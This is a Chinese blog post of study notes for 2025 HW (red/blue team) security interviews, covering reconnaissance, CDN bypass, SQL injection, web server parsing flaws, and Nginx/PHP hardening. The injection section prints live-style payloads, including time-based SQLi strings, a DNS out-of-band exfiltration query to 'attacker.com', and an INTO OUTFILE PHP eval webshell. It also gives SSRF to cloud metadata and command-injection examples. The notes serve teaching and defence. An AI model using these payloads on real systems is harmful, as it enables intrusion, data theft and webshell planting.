安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 2025年HW(护网面试) 34

一、网站信息收集

核心步骤与工具

二、CDN绕过与真实IP获取

6大实战方法

三、常见漏洞原理与防御

四大高危漏洞对比

四、SQL注入检测与盲注

注入点探测流程

时间盲注核心函数

五、Sleep函数被过滤的替代方案

4种绕过方式

六、SQL注入拿Shell的条件

七、网站绝对路径获取

7大途径

八、Web服务器解析漏洞

经典案例解析

九、Nginx安全配置

6项关键配置

十、PHP审计流程

四步代码审计法

十一、PHP防注入方案

3层防御体系

十二、PHP安全配置

十三、Web渗透流程

五阶段模型

十四、HTTP协议核心问题

十五、HTTPS建立过程

TLS握手六步

十六、CSRF防御机制

Token防御原理

其他防御方案

 

 2025年HW(护网面试) 34

1、网站信息收集
2、怎么寻找真实IP(cdn绕过)
3、常见漏洞原理和防范
4、sql怎么找注入点、盲注
5、叙述一下时间盲注原理以及用到的各种函数
6、sleep函数被过滤怎么办?
7、sql注入能拿shell么,需要什么权限
8、怎么获得网站的绝对路径?
9、web服务器解析漏洞了解么?
10、Nginx安全配置相关
11、PHP审计流程
12、php怎么防注入  
13、php安全配置了解么  
14、web渗透流程
15、http了解么、长连接还是短连接、谈谈对http无状态的理解。
16、bp抓https包的原理
17、https实现过程
18、防御csrf的方式?token防御csrf的原理? 

一、网站信息收集

核心步骤与工具
类别方法工具示例
基础架构HTTP头分析、端口扫描Nmap, Wappalyzer
子域名证书透明度、DNS爆破Amass, Subfinder
目录文件敏感文件扫描、备份文件探测Dirsearch, Wayback Machine
关联资产反向IP查询、Whois信息关联Shodan, Fofa

二、CDN绕过与真实IP获取

6大实战方法
  1. 历史解析记录
    • 查询DNS历史:SecurityTrails, ViewDNS.info
  2. 全球Ping检测
    • 利用不同地区节点:Ping + ASN归属分析 → 识别非CDN IP
  3. 子域名探测
    • www域名有CDN → 尝试maildev等未配置CDN的子域
  4. 协议漏洞利用
    • SSRF响应:http://xxx.com/?url=http://169.254.169.254 (云元数据)
  5. 邮件服务器追踪
    • 分析邮件头Received字段获取真实IP
  6. DNS记录泄露
    • SPF记录中的ip4:声明(如v=spf1 ip4:203.0.113.1 -all

三、常见漏洞原理与防御

四大高危漏洞对比
漏洞类型原理防御方案
SQL注入用户输入拼接SQL语句参数化查询(PreparedStatement)
XSS恶意脚本注入页面CSP头:Content-Security-Policy
SSRF服务端请求伪造内网资源白名单校验URL + 禁用file://协议
RCE系统命令执行函数未过滤禁用危险函数(如eval())+ 权限最小化

四、SQL注入检测与盲注

注入点探测流程
mermaidgraph LR A[输入点检测] --> B(单引号触发错误) B --> C{返回异常?} C -->|是| D[报错注入] C -->|否| E[布尔盲注检测] E --> F(1' AND 1=1-- → 正常) F --> G(1' AND 1=2-- → 异常?) G -->|是| H[确认布尔盲注]
时间盲注核心函数
数据库延时函数示例Payload
MySQLSLEEP()1' AND SLEEP(5)--
PostgreSQLpg_sleep()1' AND pg_sleep(5)--
MSSQLWAITFOR DELAY1'; WAITFOR DELAY '0:0:5'--

五、Sleep函数被过滤的替代方案

4种绕过方式
  1. 重载延时
    • MySQL:BENCHMARK(10000000, MD5('a'))
  2. 条件错误触发
    • 1' AND IF(1=1, (SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS), 1/0)--
  3. 大查询阻塞
    • SELECT * FROM all_tables t1, all_tables t2(制造笛卡尔积)
  4. 外带数据延时
    • DNS查询:1' AND LOAD_FILE(CONCAT('\\\\',(SELECT HEX(user)), '.attacker.com\\'))--

六、SQL注入拿Shell的条件

前提条件操作路径
1. 文件写权限secure_file_priv为空(MySQL)
2. 绝对路径获取通过报错/配置文件泄露
3. Web目录写入写入PHP一句话:
SELECT '<?=eval($_POST[1])?>' INTO OUTFILE '/var/www/shell.php'

七、网站绝对路径获取

7大途径
  1. 报错信息
    • PHP错误:Warning: include(/var/www/config.php) failed
  2. 配置文件
    • /etc/apache2/sites-enabled/000-default.confDocumentRoot
  3. 进程信息
    • Linux:/proc/self/cwd → 符号链接指向路径
  4. 框架特性
    • Laravel:php artisan tinkerbase_path()
  5. 文件包含漏洞
    • 包含/proc/self/environ获取环境变量
  6. 备份文件泄露
    • .git/index → 文件路径痕迹
  7. 命令执行回显
    • ; pwd; → 返回当前路径

八、Web服务器解析漏洞

经典案例解析
服务器漏洞原理攻击示例
IIS 6.0目录名含.asp则所有文件按ASP解析/upload.asp/logo.jpg → JPG当ASP执行
Nginx <0.8路径截断:%00截断文件名/test.php%00.jpg → PHP执行
Apache多后缀解析:.php.jpg 当PHP执行shell.php.jpg → 触发PHP引擎

九、Nginx安全配置

6项关键配置
nginx# 1. 禁用敏感信息 server_tokens off; # 隐藏Nginx版本 # 2. 文件访问限制 location ~* \.(ini|conf|env)$ { deny all; # 禁止访问配置文件 } # 3. 防目录遍历 autoindex off; # 禁用目录列表 # 4. 限制HTTP方法 if ($request_method !~ ^(GET|POST)$ ) { return 444; # 非GET/POST请求直接断开 } # 5. 防路径穿越 location ~* \.\./ { deny all; # 阻断../跳转 } # 6. CSP防护 add_header Content-Security-Policy "default-src 'self'";

十、PHP审计流程

四步代码审计法
mermaidgraph TB A[敏感函数定位] --> B[参数回溯] B --> C{输入是否可控?} C -->|是| D[过滤机制分析] D --> E[构造PoC验证]

十一、PHP防注入方案

3层防御体系
  1. 输入层过滤
    • filter_var($input, FILTER_SANITIZE_STRING)
  2. 执行层隔离
    • PDO预处理:$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
  3. 输出层转义
    • HTML输出:htmlspecialchars($str, ENT_QUOTES)

十二、PHP安全配置

配置项安全值作用
expose_phpOff隐藏PHP版本
disable_functionssystem,exec,passthru禁用危险函数
open_basedir/var/www限制文件访问范围
session.cookie_httponly1防JS窃取Session

十三、Web渗透流程

五阶段模型
  1. 信息收集:资产测绘 + 指纹识别
  2. 漏洞探测:自动扫描 + 手动验证
  3. 漏洞利用:武器化Payload投递
  4. 权限维持:Webshell + 后门安装
  5. 横向移动:凭证窃取 + 内网漫游

十四、HTTP协议核心问题

问题技术解析
长连接 vs 短连接长连接:Connection: keep-alive(复用TCP连接)
短连接:每次请求新建连接
无状态协议不记录请求间状态 → 需Cookie/Session维持会话
HTTPS抓包原理中间人攻击:BP生成伪证书 + 客户端信任CA根证书

十五、HTTPS建立过程

TLS握手六步
  1. Client → Server:ClientHello(支持密码套件列表)
  2. Server → Client:ServerHello(选定密码套件)+ 证书
  3. Client验证证书合法性(CA链校验)
  4. Client生成随机对称密钥 → 用证书公钥加密发送
  5. Server用私钥解密获取对称密钥
  6. 双方用对称密钥加密通信

十六、CSRF防御机制

Token防御原理
mermaidgraph LR A[用户登录] --> B[服务端生成Token存入Session] B --> C[Token嵌入表单隐藏域] C --> D[提交请求时验证Token] D -->|匹配| E[执行操作] D -->|不匹配| F[拒绝请求]
其他防御方案
  • SameSite CookieSet-Cookie: session=xxx; SameSite=Lax
  • 双重Cookie验证:请求头携带Cookie + Body携带Token
  • 验证码挑战:敏感操作需二次验证

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/88179.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/88179.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/88179.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

萤石全新上线企业AI对话智能体,开启IoT人机交互新体验

一、什么是萤石AI对话智能体&#xff1f;如何让设备听得到、听得懂&#xff1f;这次萤石发布的AI对话Agent&#xff0c;让设备能进行自然、流畅、真人感的AI对话智能体&#xff0c;帮助开发者打造符合业务场景的AI对话智能体能力&#xff0c;实现全双工、实时打断、可扩展、对话…

智绅科技:以科技为翼,构建养老安全守护网

随着我国老龄化进程加速&#xff0c;2025年60岁以上人口突破3.2亿&#xff0c;养老安全问题成为社会关注的焦点。智绅科技作为智慧养老领域的领军企业&#xff0c;以“科技赋能健康&#xff0c;智慧守护晚年”为核心理念&#xff0c;通过人工智能、物联网、大数据等技术融合&am…

矩阵系统源码部署实操指南:搭建全解析,支持OEM

矩阵系统源码部署指南矩阵系统是一种高效的数据处理框架&#xff0c;适用于大规模分布式计算。以下为详细部署步骤&#xff0c;包含OEM支持方案。环境准备确保服务器满足以下要求&#xff1a;操作系统&#xff1a;Linux&#xff08;推荐Ubuntu 18.04/CentOS 7&#xff09;硬件配…

基于python的个人财务记账系统

博主介绍&#xff1a;java高级开发&#xff0c;从事互联网行业多年&#xff0c;熟悉各种主流语言&#xff0c;精通java、python、php、爬虫、web开发&#xff0c;已经做了多年的毕业设计程序开发&#xff0c;开发过上千套毕业设计程序&#xff0c;没有什么华丽的语言&#xff0…

从 CODING 停服到极狐 GitLab “接棒”,软件研发工具市场风云再起

CODING DevOps 产品即将停服的消息&#xff0c;如同一颗重磅炸弹&#xff0c;在软件研发工具市场炸开了锅。从今年 9 月开始&#xff0c;CODING 将陆续下线其 DevOps 产品&#xff0c;直至 2028 年 9 月 30 日完全停服。这一变动让众多依赖 CODING 平台的企业和个人开发者陷入了…

#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)

免责声明 本教程仅为合法的教学目的而准备&#xff0c;严禁用于任何形式的违法犯罪活动及其他商业行为&#xff0c;在使用本教程前&#xff0c;您应确保该行为符合当地的法律法规&#xff0c;继续阅读即表示您需自行承担所有操作的后果&#xff0c;如有异议&#xff0c;请立即停…

深入解析C++驱动开发实战:优化高效稳定的驱动应用

深入解析C驱动开发实战&#xff1a;优化高效稳定的驱动应用 在现代计算机系统中&#xff0c;驱动程序&#xff08;Driver&#xff09;扮演着至关重要的角色&#xff0c;作为操作系统与硬件设备之间的桥梁&#xff0c;驱动程序负责管理和控制硬件资源&#xff0c;确保系统的稳定…

SNIProxy 轻量级匿名CDN代理架构与实现

&#x1f310; SNIProxy 轻量级匿名CDN代理架构与实现 &#x1f3d7;️ 1. 整体架构设计 &#x1f539; 1.1 系统架构概览 #mermaid-svg-S4n74I2nPLGityDB {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-S4n74I2nP…

Qt的信号与槽(一)

Qt的信号与槽&#xff08;一&#xff09;1.信号和槽的基本认识2.connect3.关闭窗口的按钮4.函数的根源5.形参和实参的类型&#x1f31f;hello&#xff0c;各位读者大大们你们好呀&#x1f31f;&#x1f31f; &#x1f680;&#x1f680;系列专栏&#xff1a;【Qt的学习】 &…

springMVC02-视图解析器、RESTful设计风格,静态资源访问配置

一、SpringMVC 的视图在 SpringMVC 中&#xff0c;视图的作用渲染数据&#xff0c;将模型 Model (将控制器&#xff08;Controller&#xff09;)中的数据展示给用户。在 Java 代码中&#xff0c;视图由接口 org.springframework.web.servlet.View 表示SpringMVC 视图的种类很多…

Go中使用Google Authenticator

现在为了安全Google二次验证使用越来越平凡了&#xff0c;所以我们自己做的一些产品中&#xff0c;也会用到Google Authenticator。 介绍 Google Authenticator采用的算法是TOTP&#xff08;Time-Based One-Time Password基于时间的一次性密码&#xff09;&#xff0c;其核心内…

ReactNative【实战系列教程】我的小红书 4 -- 首页(含顶栏tab切换,横向滚动频道,频道编辑弹窗,瀑布流布局列表等)

最终效果 顶栏 modules/index/components/topBar.tsx import icon_daily from "/assets/images/icon_daily.png"; import MaterialIcons from "expo/vector-icons/MaterialIcons"; import { useCallback, useState } from "react"; import { Im…

告别Root风险:四步构建安全高效的服务器管理体系

当整个开发团队都使用root账号操作服务器&#xff0c;且重要数据无备份时&#xff0c;系统如同行走在悬崖边缘。本文将分享一套经过验证的四步解决方案&#xff0c;帮助团队快速提升主机安全性。 为什么必须告别Root账号&#xff1f; 直接使用root账号的风险&#xff1a; &am…

【IM项目笔记】1、WebSocket协议和服务端推送Web方案

这里写自定义目录标题 1、HTTP和WebSocket协议2、WebSocket3、Http VS WebSocket4、WebSocket - 建立连接5、服务端推送Web方案(1) 短轮询(2) 长轮询(3) WebSocket长连接1、HTTP和WebSocket协议 📕 HTTP请求的特点:通信只能由客户端发起。所以,早期很多网站为了实现推送技…

【深度学习新浪潮】什么是上下文长度?

大型语言模型(LLM)的上下文长度是指模型在处理当前输入时能够有效利用的历史文本长度,通常以token(如单词、子词或标点)为单位衡量。例如,GPT-4支持128K token的上下文,而Llama 4 Scout甚至达到了10M token的惊人规模。这一指标直接影响模型在长文档理解、多轮对话等复杂…

Modbus TCP转Profibus网关轻松让流量计与DCS通讯

Modbus TCP转Profibus网关轻松让流量计与DCS通讯工业自动化系统中&#xff0c;协议差异常成为设备互联的“语言障碍”。例如&#xff0c;当流量计采用Modbus TCP协议&#xff0c;而DCS系统仅支持Profibus DP时&#xff0c;如何实现无缝通信&#xff1f;本文将结合技术原理与真实…

云时代下的IT资产管理自动化实践

前言伴随着企业数字化转型进程的加快&#xff0c;IT资产规模日益庞大且复杂。传统的手工IT资产登记、跟踪与管理方式&#xff0c;效率低下且容易出错&#xff0c;已经无法满足现代企业对于敏捷化、可视化和自动化运维的需求。云计算、容器化、微服务架构的普及又进一步加快了资…

Windows主机远程桌面连接Ubuntu24.04主机

最近刚刚换了台新电脑&#xff0c;想着空出老电脑直接装一个Ubuntu系统给新电脑远程连接过去进行开发&#xff0c;就可以完美避开双系统老是要重启切换的问题。仔细一查发现Ubuntu24.04自带了RDP远程工具&#xff0c;大喜&#xff01;于是探究了一番。 本篇文章将介绍本人探究…

Android WebView 性能优化指南

Android WebView 性能优化指南 WebView优化需要从多个维度综合考虑&#xff1a;优化维度关键措施预期收益初始化延迟加载、实例复用降低内存峰值渲染硬件加速、合理布局提升流畅度20%内存独立进程、泄漏防护减少OOM风险网络缓存策略、资源拦截节省流量30%安全漏洞修复、接口限制…

Linux下SPHinXsys源码编译安装及使用

目录 软件介绍 基本依赖 一、源码下载 二、安装依赖库 1、BLAS 2、LAPACK 3、oneTBB 4、googletest 5、Boost 6、Simbody 7、pybind11 8、Eigen3 三、解压缩 四、编译安装 软件介绍 SPHinXsys是胡湘渝博士团队采用C/C开发的一个开源无网格、多分辨率、多物理场、…